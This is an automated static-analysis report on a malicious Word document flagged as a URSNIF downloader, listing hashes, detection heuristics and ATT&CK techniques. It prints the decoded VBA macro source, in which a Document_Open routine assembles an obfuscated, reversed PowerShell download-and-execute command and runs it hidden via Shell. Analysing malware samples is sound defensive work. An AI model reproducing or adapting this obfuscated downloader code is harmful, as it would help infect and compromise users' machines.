Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 933f5c822937fdec…

MALICIOUS

Office (OLE)

60.8 KB Created: 2018-09-11 07:25:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 95fcaebcfac7bab51c7b1f8c57c57b99 SHA-1: 94aa9e93a9e6357f5c6fbbe5dc474b6c00eb05d5 SHA-256: 933f5c822937fdec9325d1c99c5e0a5fda92296ef7c51ce7cd2dfc72bbe95b82
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the presence of a 'Document_Open' macro indicate that the VBA code is designed to execute commands. The script attempts to construct and execute a command using the Shell() function, likely to download and run a secondary payload, as suggested by the ClamAV detection name 'Doc.Downloader.URSNIF-6729855-3'.

Heuristics 5

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4424 bytes
SHA-256: a37988f0a973fa1d4f93fbb7b8626136bef77e77f87a22c07a6ca2f9b009e0e8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "oQXkbEt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
   VarType "342565335" + "LkUvzBNwL"
   VarType "P" + "OvFuzh"
Shell AQDnsVR + ZPwRKttUBl + IPkPhYNCRUl, Format(vbHide)
   VarType "5545" + "fjzWcuztVwv" + "f" + "H"
   VarType "YrSrFoz" + "DXz"
   VarType "NGjb" + "iFon"
End Sub



Attribute VB_Name = "uFcSjTiwL"
Function AQDnsVR()

On _
Error _
Resume _
Next
VarType "tphumzTm" + "629"
   VarType "JwZL" + "30373400"
   VarType "KKw" + "7262"
mTSZtRf = Format(Chr(6 + 11 + 2 + 1 + 79)) + "m" + "d /V" + "/" + Format(Chr(4 + 7 + 1 + 0 + 55)) + Format(Chr(1 + 3 + 0 + 0 + 30)) + "s^e" + "^t 8V7" + "v=  ^ " + " " + "^ " + "^ ^ " + "^ ^ " + "^  ^  " + "^   ^"
VarType "tTInU" + "TTSJjP"
ZjzYvjSjmU = " ^}}{h" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "ta" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "^};" + "^k^a^er" + "^b" + "^" + ";" + "u" + "^A" + "^" + "P^$" + "^ " + "^m^et"
VarType "3709" + "rdIjJZfGZa" + "6304" + "GSpsV"
   VarType "ats" + "YBWcmlCF" + "8023" + "L"
   VarType "185510627" + "79288710"
   VarType "499975727" + "Dj" + "48648390" + "TjY"
jRTiZp = "I^-" + "^ek" + "ovnI^" + ";)^u^A" + "^P$ ^," + "^I^st$(" + "^eliFd" + "^ao"
VarType "zmP" + "zsj" + "VwT" + "Nisw"
   VarType "aki" + "QnGcQmHUslEcC"
   VarType "9980" + "3461" + "R" + "O"
aLzjjAZtaw = "lnwo" + "D.O^" + "T" + "^i^${yr" + "^t{)" + "^F^" + "b" + "^" + "j^$" + " n^i I" + "s^t$(^h" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "aer^o^" + "f;^'^e^"
VarType "TRG" + "302626120"
   VarType "ONpF" + "420947534" + "PN" + "44690314"
hGOwozWK = "xe.'^+" + "^Fh" + "O$^+'\" + "'^+" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "i" + "lbu^" + "p:vn^e" + "$^=^uAP" + "$^;'" + "42^9^'^" + " " + "=" + "^ ^F^hO"
VarType "3833" + "Ouvj" + "a" + "F"
   VarType "94683346" + "206524840"
   VarType "ziXz" + "YGjwuSGPT"
   VarType "71395474" + "Az"
   VarType "P" + "A"
HlIaiFCIWiI = "$^;" + ")" + "'^@" + "^" + "'(^" + "ti^l" + "^pS^." + "'n^kt" + ".2ag" + "ra" + "t=" + "l?^p^h^"
AQDnsVR = mTSZtRf + ZjzYvjSjmU + jRTiZp + aLzjjAZtaw + hGOwozWK + HlIaiFCIWiI
   VarType "432770276" + "FRqNl"
End Function
Function ZPwRKttUBl()

On _
Error _
Resume _
Next
VarType "I" + "20497892"
   VarType "9827" + "iOAJMd"
cAzvjjH = "p" + ".t^ok" + "snap^" + "o/TTR/^" + "m" + "o" + Format(Chr(6 + 11 + 2 + 1 + 79)) + ".^l^" + "1e" + "f^xz" + "il" + "bk^pf^" + "0^q//"
VarType "XCXB" + "dk"
   VarType "zwDVViIOT" + "CinX"
   VarType "cBvUf" + "233447952" + "sJLGPi" + "501469569"
   VarType "JmJFNkmsml" + "soEbuW"
swKVtiEtYUp = ":p^t^t^" + "h^'^=^" + "F" + "^b" + "^j"
VarType "423744434" + "101380563"
   VarType "monhQjf" + "M"
   VarType "7803" + "Q" + "86727061" + "5261"
LRzjsWjXN = "^$^;^tn" + "e^il" + Format(Chr(4 + 7 + 1 + 0 + 55)) + "b" + "^eW." + "^t^e" + "N t" + Format(Chr(6 + 11 + 2 + 1 + 79)) + "e^j" + "bo^-^we" + "n^" + "=O^" + "T^i^$ " + "^llehsr"
VarType "OA" + "AKjiGtRdaiYkzt"
   VarType "JTLoMh" + "TalbSCkKo"
   VarType "845" + "290987846"
   VarType "SEGbl" + "hZRA" + "6715" + "K"
   VarType "AkDu" + "7384221" + "2998" + "LNDs"
LaBbd = "^" + "ew^" + "o^" + "p&" + "&^f^" + "or /^" + "L "
VarType "43707913" + "iwmJ"
   VarType "2762" + "JFniqAHC" + "186313717" + "FrS"
ZLiYaTjMLri = "%^O ^in" + " (^2^" + "65^,^-^" + "1" + ",0)^d^o" + " s^e" + "^" + "t ^Q^x"
ZPwRKttUBl = cAzvjjH + swKVtiEtYUp + LRzjsWjXN + LaBbd + ZLiYaTjMLri
   VarType "H" + "KFdKNGj"
End Function
Function IPkPhYNCRUl()

On _
Error _
Resume _
Next
VarType "EfRwzEXk" + "312902016"
   VarType "humLjjAIw" + "8566" + "wvuZ" + "9550"
   VarType "493943833" + "uSsLKtW"
irwrVrsI = "6^I=" + "!^Q^x" + "6^I!!" + "8V7v" + ":~%" + "^O," + "1!" + "&&" + "^i^f" + " %^O ^" + "l^ss ^" + "1 " + Format(Chr(6 + 11 + 2 + 1 + 79)) + "^a"
VarType "v" + "1" + "87852501" + "HiLK"
IZqTMVkh = "^l^l %" + "^" + "Q
... (truncated)